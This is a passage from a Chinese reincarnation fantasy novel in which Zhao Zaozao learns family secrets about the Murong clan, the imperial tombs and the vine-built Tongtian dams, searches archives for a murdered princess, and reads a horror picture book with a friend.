“那得看你给多少了。”祁道长含混咕哝。
昭早早没听懂,“什么?”
“无事。”
昭早早便接着道:“就算我朋友坦诚相告,对方也未必肯信。”
她将茶杯撰在手里,不经意摩挲起来。
“再者,前事纷纭,我朋友不知她若一厢情愿地硬要去还债,对今生的对方来说,到底是一种补偿,还是打扰?”
四目相对,昭早早从祁道长的表情上回过味来,明白他刚才叨咕什么了,而且从现在的表情来看,大概率要说“钱多是偿还,钱少是打扰”。
万幸这道士多少还有点操守,说的是:
“归根结底,福主的朋友何以确信梦境为真?”
“直觉。”昭早早不假思索道,“她就是清楚,那是她经历过的事情。这种感觉只可意会,不可言传。”
说完察觉这种说法太过玄乎,难以取信于人,又补充道:
“另外祖宗还告诉了她许多未曾流传于世的事情,细节详尽,她甚至因此掌握了一些从未学过的本领。”
“那些都可能是此人神思不属、意识混乱时产生的错觉。”
祁道长掸掸道袍上不存在的灰,挺直腰板道:
“洞南牛家县,那屠户背地里是个半瓢水的土耗子,倒卖明器被人撞破,才胡说那是他自己前世的坟冢,妄图脱罪。”
“这么离谱?”昭早早奇道,“道长如何得知?”
“贫道那时在附近的道观修行,正好有所见闻。”
祁道长摆出一副云淡风轻的世外高人样,“所谓前世记忆都是假的,这世间从来就没有什么两世人,不是疯子发癫,就是招摇撞骗。”
昭早早被他噎得一梗,“祁道长方才不是还说要有信念?”
“正是因为有信念,所以贫道相信孟婆身为鬼神,绝不可能出纰漏。”说着人往后一靠,带得藤椅微微摇摆起来。
“……”
可算想起来在哪见过他了,昭早早狐疑地问:
“道长,听说你一个人在后院做事,早上那一大篮肉包子不会你全吃了吧?”
4. 通天藤
昭早早紧赶慢赶,总算赶到天黑前回府用膳,毕竟昭睿离家出游有段日子,今晚府里大小会摆个接风宴。
果然是一桌酒席,还没动筷子,叔父叔母先问她道观去得如何,道长怎么说。
“当然是什么事也没有,我好得很,就上柱香图个安心而已。”既然要借牛鼻子的名头,昭早早也不好说什么坏话,随口道:“不过这观里信众也太多了,人山人海的,我差点挤不进去。”
“那当然,”昭明道,“自玄羽真人被封为大国师,云天教便是国教了。”
玉迟雪示意开席,“下次我去拜会观主,你可与我同去。”
“嗯嗯。”昭早早表面应声,心道鬼还要再去。昭睿很了解她,凑她耳边嘀咕:“你跑那去干嘛,你不是从来不信鬼神的吗?”
“别提了,你找机会劝劝叔母少去捐功德。”昭早早窃声说,“那些道士经义不通,大肉包子一口气能吃二十多个。”
“这你都知道?”
“亲眼所见。”
玉迟雪瞧不惯这俩没规矩的样子,“你们交头接耳说什么呢?”
“没什么,”昭早早笑着应声,“我在问他这次外出的趣事见闻。”
“是该好好说来听听,我们也想知道。”昭明也笑问道,“昭睿,跟你舅父走这一趟曲水,收获如何?”
昭睿立即兴奋起来:
“那可真是太壮观,太刺激了!我第一次亲眼看到用通天藤造的曲水大坝,没想到真是高数十丈,厚也数十丈!”
他夸张地把双臂打开摊直了比划,顺带把话匣子也打开了,滔滔不绝:
“原来通天藤不是超粗超大的一整根,而是由无数分支组成。当然它单个分支也很粗大,比我见过最粗的铁木树还粗,就好像无数可以弯扭的铁木树,从两边峡谷的山体破石而出,虬结盘绕成一个整体,横亘于两山之间。”
“也不知道它们是在曲水河哪段合拢的,反正看起来浑然一体,就像天工开物,把两座山连起来一样!”
“坝底自然不可能严丝合缝,漏出的水流就是天然的固定闸口,常年瀑布飞泻,但即便如此,上面的水库依然蓄满了一湖之水,就像是天池,难以想象这通天藤围成的堤坝到底有多么强悍,它们的根系扎得有多深?难怪要靠那么多人供养。”
昭睿喝了口水,转换语气道:
“司天监预测今年有旱情,所以舅舅他们要开的活闸口比往年还得再多两个,难上加难。我们这一路人手携了四十台床弩火龙车进山,真不少了,那车特别大,每一台都得八匹马拉,再加上运强弩、运火药筒的车马,整个山路上连绵不绝都是我们的车队,气势绝对恢宏。可真到了大坝前面,开起闸来,却还是不够看。”
“没想到只是在堤坝上炸几个洞,竟那般困难。原本拉车的马都用来绞动的轮轴,每辆车都配有四班军士轮岗,机括日夜不停连发,弦崩断了还得紧急调换,如此连续三天三夜,才开出一排人头大小的洞眼,有水流射出。”
“再到要把洞眼扩到合适大小,又是一连七天,别说人累到吐血,马都倒下好几匹。对了,为了防止它们被爆炸声惊到,还得给马耳朵里塞棉花。”
“火药筒是最麻烦的,既要小心水气重致使哑炮,又得提防着溅到小火星直接炸营,虫蛇鼠蚁什么的,相比不值一提,我半夜还给蛇咬一口呢,没毒。”
“你舅父真是粗心……得好,这趟就是该让你吃吃苦头,长长记性!”玉迟雪嘴上数落,心里心疼坏了。
“知道去工部当差不是好玩的了吧?看你还一天到晚嚷嚷着要考读,要学舅父去当水部郎中。”她又看向昭明道:“还不如老老实实跟你爹学点家学,一样能造福百姓,有所建树。”
昭明喜气洋洋谦虚道:“夫人过奖。”
“……”
昭睿默然不语假装埋头吃菜,斜睨了一眼堂姐,发现她是真的在大块朵颐。
“姐,你怎么光吃饭不说话,你就没什么问题,不好奇吗?”
“唔?”昭早早还在咀嚼:“好七蒸馍?”
“嘴里没吃完不要讲话。”玉迟雪横她一眼,“以后千万别说你的规矩是我教的。”
昭睿道:
“舅父说这种用火药开闸的办法是近二十年才摸索出来的。那自开国以来,慕容世家镇守通天十二陵两百余年,全权掌管六座通天坝,据说蓄洪泄水从不曾贻误,到底是怎么做到的?”
“不造啊。”昭早早一愣,“妹想起来。”
玉迟雪一拍桌子,她赶紧给嘴里东西先咽了。
“关于慕容家族掌控通天坝的办法,一向都没有任何记载。”昭明道:“你舅父怎么说?”
“舅父说他也不知道,民间有说法慕容家的人是门神转世,靠近哪儿就能在哪开门,这也太扯了,我一个字都不信。”
“噗……”
昭早早不由喷饭,后悔这口就不该吃,完全不敢看玉迟雪脸色。
昭睿则是淡定拿掉脸上沾到的饭粒,“要是能够找到线索就好了,我这次可算长了见识,曲水坝是六坝中规模最小的,尚且如此艰难,何况其它五座。”
“后来舅父他们准备撤离的时候,我想上亥陵看看,结果被镇陵军拦下了。”
正有气呢,玉迟雪闻言骂道:“你还想去皇陵看看?那地方死人进得,活人进不得,你有几个脑袋!”
本朝因太祖遗训,十二陵以十二地支子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥为名,而曲水坝作为六座大坝中的最末,左右两侧正是戌陵与亥陵。
昭睿不服气道:“我跟舅父禀报过,舅父派了人保护我的!我当然知道那是什么地方,所以我才想要去……祭奠祖父。”
饭厅里一时鸦雀无声,落针可闻,连昭早早都住了嘴。
座上夫妇二人对视一眼,叫所有侍从都退下,关好门窗,守在院外。
昭睿这时也才又接着说:“我不是小孩子了,我知道你们给祖父立的是衣冠冢,他其实死在亥陵。”
“唉!”勉力忽视掉夫人埋怨的眼刀,昭明长叹一口气道:“你们俩也长大了,一个比一个有主意。择日不如撞日,今天告诉你们一个大秘密,听好了。”
话都说到这份上,昭明却又拐了一个弯,问:
“早早,记不记得小的时候有一阵子我常带你俩去看杂耍,人流如织,特别热闹,有个卖糖饼的老
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头总是白送你们吃的,跟你们闲话。”
昭早早回想道:“记得,叔母叮嘱过我要当心那种人是人牙子,所以我都不理他,有一次他要拉昭睿,我还把他打跑了。”
玉迟雪不自在地咳嗽两声,昭明颔首道,“对,那个老头就是你们的祖父,他后来夸你手劲特别大。”
“啊?祖父没死?!”昭早早惊了,“那他为什么要……”
“嘘,小点声。”昭明压低声音,解释道:“你们的祖父原是工部的将作大匠,主持营造亥陵,奈何最后甬道坍塌,压死了镇陵军主将慕容青,所以他只能诈死避祸。”
昭早早定在当场。她想在记忆里搜寻一些印象,但是太过模糊。虽说是她今生的祖辈,但在二十年前慕容青短暂的生命中,委实没有留下什么深刻的印象。
“这件事情,说来话长。”
昭睿先是惊喜,后是好奇,眼睛星星一样亮起来,嘴巴张得老大,昭明赶紧抢先一步截住他满肚子的疑问:“别急,我先回答你前面那个问题,关于慕容氏与通天藤。你想想,是先有皇陵,还是先有水坝?”
昭睿即刻回答:“当然是先有皇陵。这我还是知道的,一个隘口必须在左右山的两座皇陵都建好之后,才能开‘祭坛’催发通天藤,不然无法顺利在江中合拢。”
昭明点头,“那这通天十二陵的本质是什么?”
“本质?”昭睿想了想,把问题还回去道:“你不是说回答我?怎么还反过来问我问题。”
昭明给了他一个孺子不可教也的眼神,还是答道:“是盆栽。”
还好厅内这长桌够大,昭明端起两张没有扶手的大方凳,倒扣在空旷桌面,又从窗边拿来两个黑松盆景,放在凳腿中间。
“看。假设这张桌子是河流,左右两个凳子是两座山,形成峡谷。那么,通天坝就是这个。”昭明把凳腿之间的黑松盆景放倒,让它们枝干彼此相触。
盆土撒得到处都是,玉迟雪眉心一跳,没有吱声。
“这接在一起的枝干就犹如通天坝坝体,但通天藤跟松枝不一样,它的生长方向不固定,要怎么确保它能横直生长,不从山顶钻出来,又或者左右斜插?”昭明拍拍瓷盆,自问自答,“全靠这个盆的禁锢,也就是皇陵,限制了它的生长方向。”
昭明接着道:
“必然有什么特殊的、可以克制通天藤的物质混杂在修建皇陵的材料中。如果只是单纯地开凿山体,那么岩石对植株的限制力几乎是没有的。悬崖一侧能被通天藤的生长破开,那其他地方必然也能。”
“药物的时效期太短,我推测最有可能是某种类似于朱砂的矿物,参杂白灰用以粉壁涂泥,才能让整座皇陵达到长久约束通天藤的目的。而这个矿藏的本源,一定掌握在慕容家手中。”
听他说完,昭睿沉吟片刻道:“就不会是从其他地方运了更坚硬的石料过来吗?”
昭明否定道:“且不说另外开山凿石耗费人力物力几何,工期都少不得翻上一倍,如何等得起?且质地更坚硬的山岩寥寥无几,根本不够用。”
昭睿想来也是,又问道:“那为什么这个矿藏一定在慕容世家手中?现在慕容氏没了,矿藏又在何处?”
5. 慕容氏
“你先别急,听我把事情说完。”昭明呷一口清茶,开启了漫长的回忆。
“当年你们祖父最早接到任命时,我和阿兄,也就像你俩如今这么大。”
“阿兄向来对土木机关不感兴趣,自小立志习武从军,那时他刚通过武考进了兵部……”
昭早早对自己早故的父母毫无印象,一时听得怔愣,昭明见状,察觉自己也是说偏了,忙拐回话头道:
“我则是跟着父亲研习家学。原本也想去利琅山帮忙,他却嫌我稚嫩,什么情况都不对我说。所以父亲走后,我不服气,就自己遍查古籍文献,研究起皇陵地宫来。这个过程中,我慢慢发现了一种规律。”
“通天十二陵的规模大小变化,像极了一个矿藏的开采过程。开国太祖皇帝钦点十二峰为龙脉,于其中修建了终、肃两座皇陵,他自己的和他儿子的,也就是库恒河上的第一座通天坝。规模虽小,但成效显著,太祖皇帝由此天下归心,为万民称颂。”
昭明继续道:
“他的入陵过程完全没有记录,但是他儿子太宗皇帝入肃陵时,史官记载全程不到三天时间。也就是说,除却仪式,殉葬品两天就搬完了,规模大小可见一斑。”
“从高宗皇帝开始,皇陵的择址开始偏向更高大的山系,河流也更宽广,通天坝的规模随之加大,耗费时日大幅提升,直至武宗皇帝时期达到顶峰。”
“也就是由景、光两座皇陵构成的横跨兰江的第四座通天大坝,文宗、武宗这对父子俩加起来花了一百多年修建,武宗还是太子时文宗就着人给他开山,以示信重。”
昭睿神色微妙:“都还没当上皇帝就开始修皇陵,听起来还真是怪怪的。”
“不奇怪。”昭早早随口帮忙解释,“皇家对龙脉最是笃信,这龙脉里都给儿子留好位置了,皇位岂能旁落。”
“没错。”昭明点头,接着说:“通常一个矿藏的开采,刚开始产量不会很大,越开采发掘越多,当开采量达到顶峰时,意味着后面的产量会逐年减少。”
“自武宗之后,明明国力更盛、国库充盈,皇陵的规模却依次递减,最后到亥陵更是断崖式下跌。”
“而同样巧合的是,慕容世家的兴衰过程,也与这个时间段惊人地一致。其先祖在从龙有功之前,不过孑然一身,后娶妻生子,开枝散叶,慕容家由此兴盛。”
“到兰江坝前期,慕容一族人口最多时近三百,此后人丁凋敝,到亥陵时,全族不足十数。”
“我推测,很有可能是矿藏开采到后期,目标矿石越来越少,而伴生的有毒矿物越来越多,此消彼长,于寿命有损。”
他话锋一转道:
“但这对你们祖父来说却是好事。亥陵的规模几乎是历代皇陵中最小的,这就意味着工期特别短,预计大约十年。”
“而实际上,利琅山天生就有极其宏大深邃的洞穴群,加之地下水脉发达,开山运料都很便捷,不到八年便已接近完工……可惜,天下此时却乱了。”
到底还是不放心,昭明拉动墙壁上的机关挂画,无数细如发丝的银线条条缕缕自屋外挑梁内垂下,确保隔墙无耳后,他这才招手让一家人围坐得更近一点,悄声道:
“今上得国不正,弑兄篡位。他血洗内宫,将先帝子嗣尽皆屠戮,连后宫妃嫔也没放过,为的是不留遗腹子后患。”
“这么狠辣?”昭睿咂舌,“难怪他现今无嗣,真是报应。”
昭明让他别打岔,继续道:“先帝尚有心腹重臣统率地方,外戚执掌军中,岂会不反?他们彼此联合,相继起义讨伐大逆,剑指王都。”
“当年硝烟四起,局势混乱,双方交战各有胜负,总的来说,是叛军占优——以兰江为界,下游尽反。”
史书上有关平叛一事不过寥寥数语,哪有这般绘声绘色,昭睿听得津津有味:“然后呢?”
“然后叛军所向披靡,朝廷连战连败,一时竟无可用之将,皇帝命慕容家率兵出征。”
“镇陵军才几个人还出征?”昭睿惊到,“那皇陵不守了?祖宗没人管?”
昭明烦道:“没派镇陵军,是升家主慕容德为骠骑将军,又封了他几个儿子,领左路中军。”
昭睿问:“慕容家不是世代镇守皇陵吗,除了先祖又没有什么领过兵打过仗的名将,怎么就成了朝廷最后的指望?”
“急什么你等我说完!”昭明恼道,“慕容家兵法如何暂且不论,他们在武学上的造诣奇高是世所皆知的。据说这一族天生骨骼便与常人不同,也就是不涉武林,否则江湖排行得写成慕容家谱。”
昭睿用怀疑的眼神表达了内心的想法,终归是没有开口打断。
“我知道你们可能觉得传闻有所夸张,但我曾亲眼所见。”昭明回忆道:
“那时我去利琅山探望父亲,山中连日大雨,外山有个口子塌方,在这种级别的工程中这并不是什么罕见的事,被埋在底下的役夫鲜少能获救,清理乱石需要的时间太长,等把人挖出来,血早流干了。”
“我以为被困的人此番必死无疑,却不想慕容家的人到了。我听军士们齐声喊他二公子,猜想应当是慕容德的二儿子慕容枢,远远我看不清他的脸,只能观察到此人身形高挑,但并不算多么壮硕,与他拥有的力量完全不相匹配。”
回忆里超出认识的部分即使时隔这么多年,依然让昭明感到震撼,“用霸王扛千斤大鼎来衡量的话,这样的鼎他可以左右手各举一个。”
“是真的。”昭明先一步堵住自家儿子的‘我不信’,补充道:
“你知道那洞里有多少巨石吗?他接连不停地搬了时辰,和部下一起堆出来一座石丘!”
“天赋卓绝的内功高手或许短时间内能有这样的爆发力,但绝难持久。正因为他们如此迅速,那些被埋在乱石下的人不少都获救了。”
听到这里,昭睿唏嘘不已,哪还能注意到堂姐在一旁出神。
“所以我后来再遇上你娘的时候,着实没什么好惊奇,也就是位稍强健些的美人罢了……”
“咳。”玉迟雪清了清嗓子,瞪他一眼。
昭明赶忙把话绕回来道:“所以皇帝派慕容家上战场,是有理由的。他寄望于打造‘战神’来逆转军中士气,而慕容家并没有让他失望。”
“局势渐渐逆转,慕容将军在千军万马之中取敌首级的战事两年能流传七八个。”
“不过,叛军从攻势改成了守势之后,战况又焦灼起来。南方诸城,多的是水脉天堑,易守难攻。这场叛乱从开始到最终平息,整整持续了五年。”
“慕容德战死沙场,他的儿子们陆续被杀、被俘、失踪,可单个人的武功再强,在战争中的作用也是有限的,英雄挽狂澜于既倒,还能全身而退封侯拜相的故事,太少。”
“后来十二陵皆由慕容家的幼子慕容青执掌,也是他,最后被埋在了甬道坍塌的亥陵中。”
“真的是营造有问题么?”昭睿急道。
“怎么会,”昭明反驳道,“彼时亥陵业已竣工,山陵使、工部都是层层核查过了的,慕容青之后才来为先帝奉安入陵。”
“历代皇陵修建完工后,都是由慕容家的人负责移栽通天藤,培植连通两边植株,构成大坝。可偏巧慕容青做完这些事,就意外在巡夜时被坍塌的甬道活埋了。”
昭早早忽然道:“与营造无关,他是被杀的。”
在场倒也没人太过意外,昭睿忿忿道:“对,既然慕容家的人武功那么高,怎么可能会轻易被活埋。一定是有人谋害……多半是狗皇帝布的局,卸磨杀驴还要斩草除根,他太狠毒了。”
昭明示意他慎言,又叹道:“慕容青的死确实非常蹊跷,他娶了先帝之女宁平公主为妻,宁平公主自幼不良于行,却也莫名和慕容青一并葬身地下。如果说慕容青是为公事夜巡皇陵,又何必带上腿脚不便的妻子?”
昭早早低声问道:“此后……有人替他们收敛归葬么?”
昭明摇头道,“掩埋他们的地方本就是一条延伸而出的排水道,不影响地宫使用。当年你们祖父本想召集人手挖掘乱石,反倒因‘搅扰帝灵’被阻拦,官差要将他押往王城受审。眼见无法洗脱,他只得跳入山中暗河,假死谢罪,好过累及家人。”
“此后我于下游接应到父亲,在河西一代藏匿,等待风波过去。正巧我们隐居的地方离慕容家祖地很近,见到州官给慕容青夫妇立了衣冠冢。”
昭明回想道,“说来也巧,我无意间发现,慕容家其他的坟墓制式,也大都是衣冠冢。抛开近年死于战
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乱的族人不算,往上数几代,也都一样。”
昭睿好奇不已:“怎么会这样?”
“我也是后来打听才知道,慕容家世代火葬,焚骨成灰但并不入土,而是高山抛洒,乘风归去。”
昭睿大吃一惊,小声道:“这岂不是跟挫骨扬灰差不多……”
“不要说得那么难听,要尊重别人的家风家俗。”昭明斥道,“由于我一直心存疑问,便索性去探访勘察,在慕容家祖地漫山遍野地寻找……”
“找什么?”昭睿瞪大眼睛,不解道。
“你说找什么呢,矿啊!”昭明恨铁不成钢道,“前面说了那么多,我怀疑慕容家有矿藏是克制通天藤的线索,那自然要去找找看!”
“我就是在那时候碰到你舅父的,他也在那附近鬼鬼祟祟地满山晃悠,谁能想到是英雄所见略同呢?也算是不打不相识。”
他对昭睿道:“当年你外祖父也在工部当差,算起来与祖父还是同僚,皇帝赐给他一张出处不详的火箭床弩车图纸,也就是现在火龙车的雏形,让他以此研究炸开通天藤的办法。”
“可彼时连大量制造床弩都很困难,罔论其他,工部第一次配制火药就闹出了事故。”
“你舅父觉得不靠谱,便也想找到慕容家遗留的办法。可惜,我们一起掘地三尺地找了大半年,一无所获。后来我跟着他回了一趟家,遇见你娘……
玉迟雪脸色微赧:“这一段不用说。”
“咳。反正事到如今,再没有人能解开这个谜团。我们推测,这应该跟矿藏本就接近枯竭有关。甚至,我怀疑火龙车的雏形本就是慕容家自己的手笔。”
“他们提前研制这些,是因为没有人比他们更清楚克制之物将越来越少,要长久维持通天坝的正常运转,必须另谋他法。当然,这些都只是我的猜测。”
昭明微笑道:“你们的祖父这些年其实偷偷来过几次,只是怕你们年纪小,泄露了秘密,不敢与你们相认。等今年过年,我悄悄带你们去见他。”
月明云淡,晚风习习。
昭家庭院清雅别致,昭早早一个人坐在凉亭喝茶消食,昭睿猫着步子绕到她身后。
“别拍。”昭早早捧着茶杯头也不抬,“茶洒了揍你。”
“啧。”昭睿一点也没有被识破的尴尬,“我还以为听了那么多,你肯定在想事情呢。”
“我什么也没想。”昭早早小口啜饮着,“纯发呆,真的很舒服,你不信试试。”
她脑海中的部分碎片有了一些更详细的注解,但感觉依然遥远而飘渺,无法连贯。
毕竟奈何桥上走过一遭,孟婆汤的威力不容小觑,想多了头疼,不如放空。
昭睿奇道:“你什么时候有的这种习惯?”
昭早早狡黠道:“上辈子的习惯,这辈子刚想起来。”
“那你上辈子一定是个大闲人了,”昭睿顺手捻了一枚她的茶果丢进嘴,“无事一身轻。”
“这是这辈子的目标,”昭早早点头道,“快活的大闲人最好了。”
“姐,”昭睿举目四望四下无人,这才凑到她耳边压低声音道:“你说慕容家的人最后会不会监守自盗,下去给皇陵一扫空?”
昭早早一口茶全喷出来,怒目而视:“你瞎说什么呢?”
“我是替慕容家不值好不好,狗皇帝鸟尽弓藏,这般赶尽杀绝,也不怕祖宗还攥在人家手里?”昭睿撇嘴,悄声道,“换了我,给他宝贝都偷出来,龙脉锄了。”
“混账,那是因为……”昭早早欲言又止,惊觉自己的思维好像不太对劲,半响回过味来,自嘲道:“还是你说得对,是我格局小了。”
“诶怎么夸我?”昭睿得意道,“不像你平时的作风啊。”
“我平时什么作风,不是一贯很疼你的吗?”昭早早笑着揉他脑袋,“你明天还去不去书院上课?我骑马送你。”
昭睿一把拍开她的手,“我早就会骑马了好不好,不用你送!”
“怎么,不好意思啊?”昭早早故意逗他,“那你送我也行啊。”
“你明天也要去书院?”昭睿莫名其妙,“你不早都结业了,还去书院干嘛?”
“看画。”昭早早打着哈欠道,“晚上早点睡吧,明天我叫你。”
6. 画册
翌日一早昭睿就先溜了,昭早早扑了个空没逮到人,哭笑不得:这小子还真以为自己要跟他共乘一骑,也不想想多大了,谁不嫌挤?
原本只是想喊他同行的,也罢。
昭早早一路驭马疾驰到书院,要不是手上的伤还没好全乎,她能更快。
到了马厩打好招呼,昭早早没走书院正门,直接从偏门绕到东面的典经阁。
管理书阁的史夫子一看到她,直摇头道:“方知画那丫头越来越不像话了,这么早就约你来看画?”
“不不不。”昭早早行礼后笑着摆手道,“她还是跟我约的正午,是我想查点史书,便来早了。”
“你查史书?”这可比一大早看画更令人惊奇,史夫子狐疑道,“你要查哪本史,说来听听。”
真是问到妙处,昭早早正想找史夫子帮忙,便道:
“本朝史记,皇家传本,皇族子嗣名录,我都想看看,烦请夫子告诉我在哪排,我自己去拿。”
还真是正经史书,史夫子给她指明地方,颇为好奇地问:“你为何忽然要看这些?”
昭早早斩钉截铁答道:“我想看看历代的公主都嫁了什么样的驸马,开开眼界。”
“……”
史夫子“我料便是”地抖抖长须,安然离去,留她一个人慢慢看。
昭早早枯坐书案翻看了一个时辰,总算在犄角旮旯里找到些线索,忙去找史夫子问:
“夫子,这位不良于行,少时去道观修行的公主,怎么没有生平记叙?
“我看看。”史夫子接过书卷,边翻看边道:
“这位是先帝与宫女所出,从未受封,不算公主……哦,她是后来被陛下赐封的,那你到这本里面找找。”说着指给她一本书。
昭早早依言去看,又花了半个时辰,只找到寥寥数语:……帝下诏封宁平公主,采邑鄂县,赐婚于少将军慕容青。后不足一年亡故。
她只得又去问史夫子道:“这位宁平公主亡故后,可有敕建女祠?”
“若有敕建,必会记载。”史夫子摇头回答,“历来只有受宠爱的公主才有此殊荣,这位……自是没有的。”
昭早早心绪翻涌,忽感一股强烈的愤恨席卷而来,瞬间让她攥紧了双拳。
狗皇帝算来也是公主的亲叔叔,害了她性命,既不归葬,也不建祠祭祀。
手上的伤口一阵刺痛,昭早早深深调息了几次,不断告诫自己往事已矣,她早已再世为人,才勉勉强强压下翻腾的怒意。
她踱回原位沉思,余光瞟到她在另一本宫志上看到的“宁平公主陪嫁金银珠宝十箱,绫罗绸缎百匹”字样,不由得出声骂道:
“什么狗屁玩意,没一句能信。”
一个清脆如铃的甜美声音接话道:“什么狗屁东西不能信?”
昭早早一边快速收拾满桌子书卷,一边头也不回道:
“你这个人约定的时间不可信,你看看什么时辰了,就不能准时一次?”
“唉哟,对不住。”方知画一把搂住她胳膊,“我来的路上临时瞧见有热闹,那我能不去凑一凑吗?”
昭早早抽出胳膊坐下,往椅背上一靠,“什么热闹说来听听。”
方知画坐她对面,笑得贼甜:“肖平来了。”
“啊?”昭早早登时直起身,“他不是早都结业了吗?他来干什么?”
“你紧张什么?”方知画目光闪闪地扫视她,“谁说结业了就不能来,你今天还不是在这?”
她笑着揶揄道:“要不是我约的你,我都要以为你俩一块约好的呢。”
“所以呢,”昭早早懒得跟她掰扯,直接问道:“你这么半天看到什么热闹了?
“肖平是来见山长的。”方知画也不卖关子了,“你知道他跟我们这些大众学子可不一样,是山长正经的得意门生,前程有什么变动,理当要来知会。”
“他一来,书院弟子人心浮动,谁还有心思好好做功课呀!”
“女院这边自不必说了,除了我,还有好几十个假装有事找山长。”方知画促狭道:
“男院那边喜欢他文采的书呆子、崇拜他棋艺的二傻子,给山长院门外边围得里三层外三层的,竟还有提着笔想要偷绘丹青的小鸡贼,一看就是想收钱卖画!”
“不少人扒门上偷听,结果山长的老脸一探出来,给那些人吓得呀!哈哈,还好我跑得快,跑得慢的现在可都在打扫书院呢。”
耐着性子听她废话半天也没说到点子上,昭早早急道:“到底什么变动?”
“哦这个呀,”方知画答道,“他要去从军。”
“他这是要去肖家军营?”昭早早颇感意外,“肖老将军想通了?”
“不是啊。”方知画摇头,“他说去中枢府听从调度,哪里缺人就去哪里。”
“什么?”昭早早一拍桌子,“他人呢?”
“走了呗……诶你等等!”方知画喊道,“你去哪,不是说好一起看我新淘的画吗?哎呀我的天,这桌子垮了,史夫子,这不是我弄的啊!”
肖平和她一样鲜少坐马车,故昭早早直奔马厩,飞快地找了一圈,却并没有看见肖平的马。
她追出门外,三两下攀上一棵高树的冠顶,远远眺望,亦不见行踪。
看来是来迟一步,她正失望沮丧,一低头,就看到树后的院墙下,几个女子正围着另一名女子推搡拉扯。
好嘛,老熟人了。昭早早冷眼看着,姓朱的、姓李的、姓王的,具体叫什么懒得记,总归就是这几个狗改不了吃屎,姓朱的一贯最嚣张,原来是仗着有宫里的门路。
她不是要去飞上枝头变凤凰吗,怎么还没走。昭早早轻飘飘跳下树来,心道这又得多挨我一顿打,全是自找。
步子已经迈出两步,她又顿住,想起从前跟肖平产生不快,就是因为忍不住出手教训了这些人,最后反落个不讲武德、欺凌弱女的名头,山长也曾批评过她。
虽然想起来还是不服气,但是也罢,眼下自己可是长了本事,有的是办法收拾她们。
昭早早阴恻恻一笑,转身回到马厩。两个院子挨得很近,她趁没人注意,拿起一把马粪铲子,尽量靠近到刚才看到的方位。
此时已隐隐能听见声音,昭早早闭上双眼,屏气凝神——屏气主要是马粪的气味对她也是一种伤害。
这可真是杀敌一千自损二百五,但是为了更体面地解决问题,她忍了。
仔细听声辨位后,她一铲子接一铲子地往隔壁扬马粪,老熟人们惊惶失措的尖叫她自然不会听漏,扬得更加精准,人均三铲子屎到淋头,一个也不少。
“呼——”气憋不住了,昭早早扔下凶器,顶着身后的鬼哭狼嚎拔腿就撤,不留功与名。
回典经阁前,还不忘去水渠洗了个手。
方知画正百无聊赖,见她回来眼睛一亮,问:“追到人没?”
“没。”
“那你这么半天干嘛去了?”
昭早早一屁股坐下,“给贵妃娘娘送鸿运。”
“什么?”方知画没听懂。
“别闲扯了,”昭早早催她,“你还看不看画?”
方知画偏不如她意,探究道:
“你很不对劲啊!以前看你对肖平也不怎么上心,自从上回你在阁楼踹人被他骂了之后,更是一提就着恼,怎的今天这般反常?”
“我没有。”昭早早矢口否认,“你别瞎说啊。”
“我瞎说?”方知画音调高出一截,“什么‘伪君子、假圣人、沽名钓誉之辈’不是你骂的?”
昭早早脸上一热,“记不清了。”
岂料方知画如数家珍:“你还说他‘有眼无珠、不识好歹、猪油蒙心’,‘小白脸风吹就倒一看就体虚’唔唔……”
昭早早懊丧着脸一把捂住她的嘴:“行了行了别骂了,怕了你了!”
天杀的方知画非要从指头缝里倔强地说完:
“你不还说跟他有婚约是倒了八辈子大霉,一定要退亲的吗?这亲还退不退了,需不需要帮忙的啊?”
“需要个鬼。”方知画把她不想提的事统统提了一遍,昭早早索性松开手不再挣扎:“婚我已经退了,别嚷嚷,不然点你哑穴了。”
方知画倒抽一口八卦之气,瞪大双眼两手交叠自个儿把嘴巴紧紧捂住,半响才吸收完这个震惊的消息,问道:
“咱们书院什么时候还教点穴了,我寻思武术教头也不会啊?”
说完她自己先乐了,贴着昭早早小声说:“我就知道你是来真的,这不得上歌戏楼庆祝庆祝,谁请客?”
“别提了,场面弄得很难看,我都想抽我自己。”昭早早沮丧道,“其实我现在想通了,本来也没多大点事,他劝阻我也是好意。”
“从前怪我莽撞,只顾着眼前痛快,从不细想太多。既有失体面,也害得正经同窗都不敢靠近我,反当我
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才是什么凶神恶煞。”
“搞半天含沙射影骂我来了,”方知画逗她,“就我不是正经同窗是吧?”
“哪能呢?”昭早早拍拍她的肩膀,“你是最正经的江湖儿女,堪称我辈楷模。”
“过奖过奖。”方知画拱手道谢,收下她的恭维,“那你这是觉得愧疚,想去跟他道歉?”
“不是。”
昭早早黯然垂眸,她是想对他说不要入朝入仕,这辈子安安心心做个闲散少爷享清福就好,却压根没想过自己凭什么这么说,有什么立场指手画脚?
还好也是没追到,否则平添尴尬。
方知画误会了她的神色,吓道:“你总不能是后悔了吧?”
“怎么会。”昭早早苦笑着振作起来,“他适合更好的,而我也不会嫁人。你的连环画还要不要我陪你一起看?不看我可走了。”
“看看看!”方知画这才想起来正经事,从随身布包里抽出一摞画册。
“没你在我一个人哪敢看这些,太可怕了!这不还特地挑了阳气最重的时辰吗,赶紧的!”
说完牢牢挽住昭早早,畏畏缩缩地摊开最上面的一本——《冥冢凶灵集》。
“难怪这套画册最近这么火,果然有两把刷子。”方知画边看边念叨缓解紧张的情绪,把昭早早的胳膊都箍到胸前了,“你看看这个妖怪的舌头,妈呀,这舌尖上还长了张脸!”
昭早早瞟一眼只觉好笑,不自在地想把胳膊抽出来。刚挪动半寸,方知画翻过一页,被一个爬满蛆虫的骷髅头吓得花容失色,又给她胳膊拽回去。
如此这般,三番两次,方知画比她还先低吼:“你干嘛一直动?就不能安安生生坐着看会!”
“好好好,行行行。”昭早早没脾气地坐定,心说身正不怕影子斜,习惯成自然。
这一看就看到天色渐晚,西山泛红,不仅史夫子要关门回家,画册也翻到了最后两页。
“怎么办,怎么都画到这了还没人来救命,这个书生不会要被蜃鬼吞了吧?”
方知画眯着眼睛不敢看结局,偏头对昭早早道,“你快帮我先看一眼,没死再告诉我。”
“就这个胆量何必为难自己。”昭早早嘴上嘀咕着,还是依言帮她去翻书解说:“这个书生摔进暗门,又掉到另外一个地宫里。蜃鬼追在他后面,这个地方……”
“怎么了你快说呀?死没死啊?”半晌没等到下文,方知画急得顾不上害怕,自己撇过头来瞅——“呔!这个破书怎么没画完?”
她伸手欲拿,昭早早却挡住她,还在对最后那副图看得入神。
“这有什么特别的?”方知画怕是有什么细节自己没留意,又端详了一阵,也没看出头绪。
